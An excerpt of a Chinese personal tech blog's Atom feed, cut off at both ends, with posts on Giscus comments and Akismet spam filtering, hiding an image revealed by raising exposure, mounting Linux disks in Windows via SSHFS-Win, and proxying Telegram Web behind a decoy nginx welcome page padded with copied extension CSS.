&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-18-21-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;分类推荐选择 &lt;strong&gt;公告（announcements）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-22-07-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;特性按需勾选&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-22-25-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;主题按喜好选择。更改后主题会立即呈现&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-22-57-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后将这段JS复制，放置在你想作为评论区的区块即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-23-41-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pei-zhi-akismet&quot;&gt;配置Akismet&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Akismet (Automattic Kismet) 是应用广泛的一个垃圾留言过滤系统，其作者是大名鼎鼎的 WordPress 创始人 Matt Mullenweg，Akismet 也是 WordPress 默认安装的插件，其使用非常广泛，设计目标便是帮助博客网站来过滤垃圾留言。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;注册 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://akismet.com&#x2F;&quot;&gt;akismet.com&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选择 Akismet Personal 订阅，将滑块拉到0$，记录得到的 Akismet API Key&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-27-58-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;前往 https://github.com&#x2F;afoim&#x2F;giscus-fuwari&#x2F;blob&#x2F;main&#x2F;.github&#x2F;workflows&#x2F;akismet-comment-check.yml&lt;&#x2F;p&gt;
&lt;p&gt;将这个Github Action部署到你的启用了Giscus的仓库&lt;&#x2F;p&gt;
&lt;p&gt;配置Secret：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;AKISMET_API_KEY：你的Akismet API Key&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;GH_TOKEN：前往 https://github.com&#x2F;settings&#x2F;tokens 创建一个具有 &lt;code&gt;repo&lt;&#x2F;code&gt; &lt;code&gt;write:discussion&lt;&#x2F;code&gt; &lt;code&gt;user&lt;&#x2F;code&gt; 权限的Github个人令牌&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-29-06-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;测试反垃圾是否有效，发送内容为 &lt;code&gt;viagra-test-123&lt;&#x2F;code&gt; 的评论。该评论一定会被当作垃圾评论&lt;&#x2F;p&gt;
&lt;p&gt;查看Github Action是否做出删评行为&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-30-37-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;feng-jin-yong-hu&quot;&gt;封禁用户&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如果有人一直刷屏但是反垃圾未检测到？&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;你可以前往该用户个人信息页面手动封禁它&lt;&#x2F;p&gt;
&lt;p&gt;详见 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://docs.github.com&#x2F;zh&#x2F;communities&#x2F;maintaining-your-safety-on-github&#x2F;blocking-a-user-from-your-personal-account#blocking-a-user-from-their-profile-page&quot;&gt;阻止用户访问您的个人帐户 - GitHub 文档&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fang-zhi-xin-yong-hu-shua-ping&quot;&gt;防止新用户刷评&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如果有人一直开小号刷评？&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;使用 https://github.com&#x2F;你的用户名&#x2F;你的仓库&#x2F;settings&#x2F;interaction_limits&lt;&#x2F;p&gt;
&lt;p&gt;配置临时交互限制，这样新用户就无法对您的存储库进行任何操作&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-20-43-06-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>平平无奇的一张图，拉高曝光就能显现另一张图？</title>
        <published>2025-08-04T00:00:00+00:00</published>
        <updated>2025-08-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/hideimg/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/hideimg/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/hideimg/">&lt;blockquote&gt;
&lt;p&gt;https://imghide.2x.nz&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;视频教程： https://www.bilibili.com&#x2F;video&#x2F;BV1wdh3zYESe&#x2F;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h1&gt;
&lt;p&gt;首先将原图嵌入，然后将隐藏图的亮度降至极低，并以棋盘排列嵌入原图&lt;&#x2F;p&gt;
&lt;p&gt;最终生成的图片呈现一种灰色网格状&lt;&#x2F;p&gt;
&lt;p&gt;默认只能看到原图，虽然隐藏图信息仍在，但是太黑了，人眼只会把他们当作黑色像素点处理&lt;&#x2F;p&gt;
&lt;p&gt;当人为提高曝光后，原图过曝，趋于白色，丢失信息&lt;&#x2F;p&gt;
&lt;p&gt;而隐藏图被拉亮，逐渐可见&lt;&#x2F;p&gt;
&lt;p&gt;最终原图消失，而隐藏图完全显现&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>将你的Linux硬盘映射到Windows？</title>
        <published>2025-08-03T00:00:00+00:00</published>
        <updated>2025-08-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/sshfs/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/sshfs/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/sshfs/">&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;winfsp&#x2F;sshfs-win&quot;&gt;winfsp&#x2F;sshfs-win: SSHFS For Windows&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下载并安装&lt;&#x2F;p&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&#x2F;evsar3&#x2F;sshfs-win-manager&quot;&gt;evsar3&#x2F;sshfs-win-manager: A GUI for SSHFS-Win (https://github.com&#x2F;billziss-gh&#x2F;sshfs-win)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下载并安装&lt;&#x2F;p&gt;
&lt;p&gt;打开&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-03-19-19-07-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果的sshfs-win没有安装在默认位置需要手动指定一下，进入 &lt;code&gt;Settings&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-03-19-20-01-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来点击 &lt;code&gt;Add Connection&lt;&#x2F;code&gt; 懂的都懂&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-03-19-20-24-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;保存后点击连接按钮&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-11-58-52-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着你就能在文件资源管理器看到你的盘了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-11-59-20-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>大陆直连TG Web？触手可及！</title>
        <published>2025-08-02T00:00:00+00:00</published>
        <updated>2025-08-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/proxy-tgweb/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/proxy-tgweb/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/proxy-tgweb/">&lt;p&gt;推荐将 &lt;code&gt;index.html&lt;&#x2F;code&gt; 重命名。让别人访问根路径无法访问到正常页面即可，但不保证永远不会吃Abuse&lt;&#x2F;p&gt;
&lt;p&gt;然后创建一个新的 &lt;code&gt;index.html&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;html&quot;&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
	&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;&#x2F;title&amp;gt;
	&amp;lt;style&amp;gt;
		body {
			width: 35em;
			margin: 0 auto;
			font-family: Tahoma, Verdana, Arial, sans-serif;
		}
	&amp;lt;&#x2F;style&amp;gt;
	&amp;lt;style data-id=&amp;quot;immersive-translate-input-injected-css&amp;quot;&amp;gt;.immersive-translate-input {
  position: absolute;
  top: 0;
  right: 0;
  left: 0;
  bottom: 0;
  z-index: 2147483647;
  display: flex;
  justify-content: center;
  align-items: center;
}
.immersive-translate-attach-loading::after {
  content: &amp;quot; &amp;quot;;

  --loading-color: #f78fb6;
  width: 6px;
  height: 6px;
  border-radius: 50%;
  display: block;
  margin: 12px auto;
  position: relative;
  color: white;
  left: -100px;
  box-sizing: border-box;
  animation: immersiveTranslateShadowRolling 1.5s linear infinite;

  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-2000%, -50%);
  z-index: 100;
}

.immersive-translate-loading-spinner {
  vertical-align: middle !important;
  width: 10px !important;
  height: 10px !important;
  display: inline-block !important;
  margin: 0 4px !important;
  border: 2px rgba(221, 244, 255, 0.6) solid !important;
  border-top: 2px rgba(0, 0, 0, 0.375) solid !important;
  border-left: 2px rgba(0, 0, 0, 0.375) solid !important;
  border-radius: 50% !important;
  padding: 0 !important;
  -webkit-animation: immersive-translate-loading-animation 0.6s infinite linear !important;
  animation: immersive-translate-loading-animation 0.6s infinite linear !important;
}

@-webkit-keyframes immersive-translate-loading-animation {
  from {
    -webkit-transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(359deg);
  }
}

@keyframes immersive-translate-loading-animation {
  from {
    transform: rotate(0deg);
  }

  to {
    transform: rotate(359deg);
  }
}

.immersive-translate-input-loading {
  --loading-color: #f78fb6;
  width: 6px;
  height: 6px;
  border-radius: 50%;
  display: block;
  margin: 12px auto;
  position: relative;
  color: white;
  left: -100px;
  box-sizing: border-box;
  animation: immersiveTranslateShadowRolling 1.5s linear infinite;
}

@keyframes immersiveTranslateShadowRolling {
  0% {
    box-shadow: 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0),
      0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
  }

  12% {
    box-shadow: 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0),
      0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
  }

  25% {
    box-shadow: 110px 0 var(--loading-color), 100px 0 var(--loading-color),
      0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
  }

  36% {
    box-shadow: 120px 0 var(--loading-color), 110px 0 var(--loading-color),
      100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0);
  }

  50% {
    box-shadow: 130px 0 var(--loading-color), 120px 0 var(--loading-color),
      110px 0 var(--loading-color), 100px 0 var(--loading-color);
  }

  62% {
    box-shadow: 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color),
      120px 0 var(--loading-color), 110px 0 var(--loading-color);
  }

  75% {
    box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
      130px 0 var(--loading-color), 120px 0 var(--loading-color);
  }

  87% {
    box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
      200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color);
  }

  100% {
    box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
      200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0);
  }
}

.immersive-translate-toast {
  display: flex;
  position: fixed;
  z-index: 2147483647;
  left: 0;
  right: 0;
  top: 1%;
  width: fit-content;
  padding: 12px 20px;
  margin: auto;
  overflow: auto;
  background: #fef6f9;
  box-shadow: 0px 4px 10px 0px rgba(0, 10, 30, 0.06);
  font-size: 15px;
  border-radius: 8px;
  color: #333;
}

.immersive-translate-toast-content {
  display: flex;
  flex-direction: row;
  align-items: center;
}

.immersive-translate-toast-hidden {
  margin: 0 20px 0 72px;
  text-decoration: underline;
  cursor: pointer;
}

.immersive-translate-toast-close {
  color: #666666;
  font-size: 20px;
  font-weight: bold;
  padding: 0 10px;
  cursor: pointer;
}

@media screen and (max-width: 768px) {
  .immersive-translate-toast {
    top: 0;
    padding: 12px 0px 0 10px;
  }
  .immersive-translate-toast-content {
    flex-direction: column;
    text-align: center;
  }
  .immersive-translate-toast-hidden {
    margin: 10px auto;
  }
}

.immersive-translate-modal {
  display: none;
  position: fixed;
  z-index: 2147483647;
  left: 0;
  top: 0;
  width: 100%;
  height: 100%;
  overflow: auto;
  background-color: rgb(0, 0, 0);
  background-color: rgba(0, 0, 0, 0.4);
  font-size: 15px;
}

.immersive-translate-modal-content {
  background-color: #fefefe;
  margin: 10% auto;
  padding: 40px 24px 24px;
  border-radius: 12px;
  width: 350px;
  font-family: system-ui, -apple-system, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Roboto&amp;quot;, &amp;quot;Ubuntu&amp;quot;,
    &amp;quot;Cantarell&amp;quot;, &amp;quot;Noto Sans&amp;quot;, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;,
    &amp;quot;Segoe UI Symbol&amp;quot;, &amp;quot;Noto Color Emoji&amp;quot;;
  position: relative;
}

@media screen and (max-width: 768px) {
  .immersive-translate-modal-content {
    margin: 50% auto !important;
  }
}

.immersive-translate-modal .immersive-translate-modal-content-in-input {
  max-width: 500px;
}
.immersive-translate-modal-content-in-input .immersive-translate-modal-body {
  text-align: left;
  max-height: unset;
}

.immersive-translate-modal-title {
  text-align: center;
  font-size: 16px;
  font-weight: 700;
  color: #333333;
}

.immersive-translate-modal-body {
  text-align: center;
  font-size: 14px;
  font-weight: 400;
  color: #333333;
  margin-top: 24px;
}

@media screen and (max-width: 768px) {
  .immersive-translate-modal-body {
    max-height: 250px;
    overflow-y: auto;
  }
}

.immersive-translate-close {
  color: #666666;
  position: absolute;
  right: 16px;
  top: 16px;
  font-size: 20px;
  font-weight: bold;
}

.immersive-translate-close:hover,
.immersive-translate-close:focus {
  text-decoration: none;
  cursor: pointer;
}

.immersive-translate-modal-footer {
  display: flex;
  justify-content: center;
  flex-wrap: wrap;
  margin-top: 24px;
}

.immersive-translate-btn {
  width: fit-content;
  color: #fff;
  background-color: #ea4c89;
  border: none;
  font-size: 14px;
  margin: 0 8px;
  padding: 9px 30px;
  border-radius: 5px;
  display: flex;
  align-items: center;
  justify-content: center;
  cursor: pointer;
  transition: background-color 0.3s ease;
}

.immersive-translate-btn-container {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 8px;
}

.immersive-translate-btn:hover {
  background-color: #f082ac;
}
.immersive-translate-btn:disabled {
  opacity: 0.6;
  cursor: not-allowed;
}
.immersive-translate-btn:disabled:hover {
  background-color: #ea4c89;
}

.immersive-translate-link-btn {
  background-color: transparent;
  color: #ea4c89;
  border: none;
  cursor: pointer;
  height: 30px;
  line-height: 30px;
}

.immersive-translate-cancel-btn {
  &#x2F;* gray color *&#x2F;
  background-color: rgb(89, 107, 120);
}

.immersive-translate-cancel-btn:hover {
  background-color: hsl(205, 20%, 32%);
}

.immersive-translate-action-btn {
  background-color: transparent;
  color: #ea4c89;
  border: 1px solid #ea4c89;
}

.immersive-translate-btn svg {
  margin-right: 5px;
}

.immersive-translate-link {
  cursor: pointer;
  user-select: none;
  -webkit-user-drag: none;
  text-decoration: none;
  color: #ea4c89;
  -webkit-tap-highlight-color: rgba(0, 0, 0, 0.1);
}

.immersive-translate-primary-link {
  cursor: pointer;
  user-select: none;
  -webkit-user-drag: none;
  text-decoration: none;
  color: #ea4c89;
  -webkit-tap-highlight-color: rgba(0, 0, 0, 0.1);
}

.immersive-translate-modal input[type=&amp;quot;radio&amp;quot;] {
  margin: 0 6px;
  cursor: pointer;
}

.immersive-translate-modal label {
  cursor: pointer;
}

.immersive-translate-close-action {
  position: absolute;
  top: 2px;
  right: 0px;
  cursor: pointer;
}

.imt-image-status {
  background-color: rgba(0, 0, 0, 0.5) !important;
  display: flex !important;
  flex-direction: column !important;
  align-items: center !important;
  justify-content: center !important;
  border-radius: 16px !important;
}
.imt-image-status img,
.imt-image-status svg,
.imt-img-loading {
  width: 28px !important;
  height: 28px !important;
  margin: 0 0 8px 0 !important;
  min-height: 28px !important;
  min-width: 28px !important;
  position: relative !important;
}
.imt-img-loading {
  background-image: url(&amp;quot;data:image&#x2F;png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAA4CAMAAACfWMssAAAAtFBMVEUAAAD&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;&#x2F;oK74hAAAAPHRSTlMABBMIDyQXHwyBfFdDMSw+OjXCb+5RG51IvV&#x2F;k0rOqlGRM6KKMhdvNyZBz9MaupmxpWyj437iYd&#x2F;yJVNZeuUC7AAACt0lEQVRIx53T2XKiUBCA4QYOiyCbiAsuuGBcYtxiYtT3f6&#x2F;pbqoYHVFO5r+iivpo6DpAWYpqeoFfr9f90DsYAuRSWkFnPO50OgR9PwiCUFcl2GEcx+N&#x2F;YBh6pvKaefHlUgZd1zVe0NbYcQjGBfzrPE8Xz8aF+71D8gG6DHFPpc4a7xFiCDuhaWgKgGIJQ3d5IMGDrpS4S5KgpIm+en9f6PlAhKby4JwEIxlYJV9h5k5nee9GoxHJ2IDSNB0dwdad1NAxDJ&#x2F;uXDHYmebdk4PdbkS58CIVHdYSUHTYYRWOJblWSyu2lmy3KNFVJNBhxcuGW4YBVCbYGRZwIooipHsNqjM4FbgOQqQqSKQQU9V8xmi1QlgHqQQ6DDBvRUVCDirs+EzGDGOQTCATgtYTnbCVLgsVgRE0T1QE0qHCFAht2z6dLvJQs3Lo2FQoDxWNUiBhaP4eRgwNkI+dAjVOA&#x2F;kUrIDwf3CG8NfNOE0eiFotSuo+rBiq8tD9oY4Qzc6YJw99hl1wzpQvD7ef2M8QgnOGJfJw+EltQc+oX2yn907QB22WZcvlUpd143dqQu+8pCJZuGE4xCuPXJqqcs5sNpsI93Rmzym1k4Npk+oD1SH3&#x2F;a3LOK&#x2F;JpUBpWfqNySxWzCfNCUITuDG5dtuphrUJ1myeIE9bIsPiKrfqTai5WZxbhtNphYx6GEIHihyGFTI69lje&#x2F;rxajdh0s0msZ0zYxyPLhYCb1CyHm9Qsd2H37Y3lugVwL9kNh8Ot8cha6fUNQ8nuXi5z9&#x2F;ExsAO4zQrb&#x2F;ev1yrCB7lGyQzgYDGuxq1toDN&#x2F;JGvN+HyWNHKB7zEoK+PX11e12G431erGYzwmytAWU56fkMHY5JJnDRR2eZji3AwtIcrEV8Cojat&#x2F;BdQ7XOwGV1e1hDjGGjXbdArm8uJZtCH5MbcctVX8A1WpqumJHwckAAAAASUVORK5CYII=&amp;quot;);
  background-size: 28px 28px;
  animation: image-loading-rotate 1s linear infinite !important;
}

.imt-image-status span {
  color: var(--bg-2, #fff) !important;
  font-size: 14px !important;
  line-height: 14px !important;
  font-weight: 500 !important;
  font-family: &amp;quot;PingFang SC&amp;quot;, Arial, sans-serif !important;
}

@keyframes image-loading-rotate {
  from {
    transform: rotate(360deg);
  }
  to {
    transform: rotate(0deg);
  }
}
&amp;lt;&#x2F;style&amp;gt;&amp;lt;&#x2F;head&amp;gt;
	&amp;lt;body&amp;gt;
	&amp;lt;h1&amp;gt;Welcome to nginx!&amp;lt;&#x2F;h1&amp;gt;
	&amp;lt;p&amp;gt;If you see this page, the nginx web server is successfully installed and
	working. Further configuration is required.&amp;lt;&#x2F;p&amp;gt;
	
	&amp;lt;p&amp;gt;For online documentation and support please refer to
	&amp;lt;a href=&amp;quot;http:&#x2F;&#x2F;nginx.org&#x2F;&amp;quot;&amp;gt;nginx.org&amp;lt;&#x2F;a&amp;gt;.&amp;lt;br&amp;gt;
	Commercial support is available at
	&amp;lt;a href=&amp;quot;http:&#x2F;&#x2F;nginx.com&#x2F;&amp;quot;&amp;gt;nginx.com&amp;lt;&#x2F;a&amp;gt;.&amp;lt;&#x2F;p&amp;gt;
	
	&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Thank you for using nginx.&amp;lt;&#x2F;em&amp;gt;&amp;lt;&#x2F;p&amp;gt;
	
	
	&amp;lt;div id=&amp;quot;screenity-ui&amp;quot;&amp;gt;&amp;lt;div class=&amp;quot;screenity-shadow-dom&amp;quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&amp;quot;screenity-scrollbar&amp;quot;&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;div class=&amp;quot;screenity-scrollbar&amp;quot;&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;&#x2F;div&amp;gt;&amp;lt;style type=&amp;quot;text&#x2F;css&amp;quot;&amp;gt;
			#screenity-ui, #screenity-ui div {
				background-color: unset;
				padding: unset;
				width: unset;
				box-shadow: unset;
				display: unset;
				margin: unset;
				border-radius: unset;
			}
			.screenity-outline {
				position: absolute;
				z-index: 99999999999;
				border: 2px solid #3080F8;
				outline-offset: -2px;
				pointer-events: none;
				border-radius: 5px!important;
			}
		.screenity-blur {
			filter: blur(10px)!important;
		}
			.screenity-shadow-dom * {
				transition: unset;
			}
			.screenity-shadow-dom .TooltipContent {
  border-radius: 30px!important;
	background-color: #29292F!important;
  padding: 10px 15px!important;
  font-size: 12px;
	margin-bottom: 10px!important;
	bottom: 100px;
  line-height: 1;
	font-family: &amp;#39;Satoshi-Medium&amp;#39;, sans-serif;
	z-index: 99999999!important;
  color: #FFF;
  box-shadow: hsl(206 22% 7% &#x2F; 35%) 0px 10px 38px -10px, hsl(206 22% 7% &#x2F; 20%) 0px 10px 20px -15px!important;
  user-select: none;
	transition: opacity 0.3 ease-in-out;
  will-change: transform, opacity;
	animation-duration: 400ms;
  animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1);
  will-change: transform, opacity;
}

.screenity-shadow-dom .hide-tooltip {
	display: none!important;
}

.screenity-shadow-dom .tooltip-tall {
	margin-bottom: 20px;
}

.screenity-shadow-dom .tooltip-small {
	margin-bottom: 5px;
}

.screenity-shadow-dom .TooltipContent[data-state=&amp;#39;delayed-open&amp;#39;][data-side=&amp;#39;top&amp;#39;] {
	animation-name: slideDownAndFade;
}
.screenity-shadow-dom .TooltipContent[data-state=&amp;#39;delayed-open&amp;#39;][data-side=&amp;#39;right&amp;#39;] {
  animation-name: slideLeftAndFade;
}
.screenity-shadow-dom.TooltipContent[data-state=&amp;#39;delayed-open&amp;#39;][data-side=&amp;#39;bottom&amp;#39;] {
  animation-name: slideUpAndFade;
}
.screenity-shadow-dom.TooltipContent[data-state=&amp;#39;delayed-open&amp;#39;][data-side=&amp;#39;left&amp;#39;] {
  animation-name: slideRightAndFade;
}

@keyframes slideUpAndFade {
  from {
    opacity: 0;
    transform: translateY(2px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideRightAndFade {
  from {
    opacity: 0;
    transform: translateX(-2px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}

@keyframes slideDownAndFade {
  from {
    opacity: 0;
    transform: translateY(-2px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideLeftAndFade {
  from {
    opacity: 0;
    transform: translateX(2px);
  }
  to {
    opacity: 1;
    transform: translateX(0);
  }
}

#screenity-ui [data-radix-popper-content-wrapper] { z-index: 999999999999!important; } 

.screenity-shadow-dom .CanvasContainer {
	position: fixed;
	pointer-events: all!important;
	top: 0px!important;
	left: 0px!important;
	z-index: 99999999999!important;
}
.screenity-shadow-dom .canvas {
	position: fixed;
	top: 0px!important;
	left: 0px!important;
	z-index: 99999999999!important;
	background: transparent!important;
}
.screenity-shadow-dom .canvas-container {
	top: 0px!important;
	left: 0px!important;
	z-index: 99999999999;
	position: fixed!important;
	background: transparent!important;
}

.ScreenityDropdownMenuContent {
	z-index: 99999999999!important;
  min-width: 200px;
  background-color: white;
  margin-top: 4px;
  margin-right: 8px;
  padding-top: 12px;
  padding-bottom: 12px;
  border-radius: 15px;
  z-index: 99999;
  font-family: &amp;#39;Satoshi-Medium&amp;#39;, sans-serif;
  color: #29292F;
  box-shadow: 0px 10px 38px -10px rgba(22, 23, 24, 0.35),
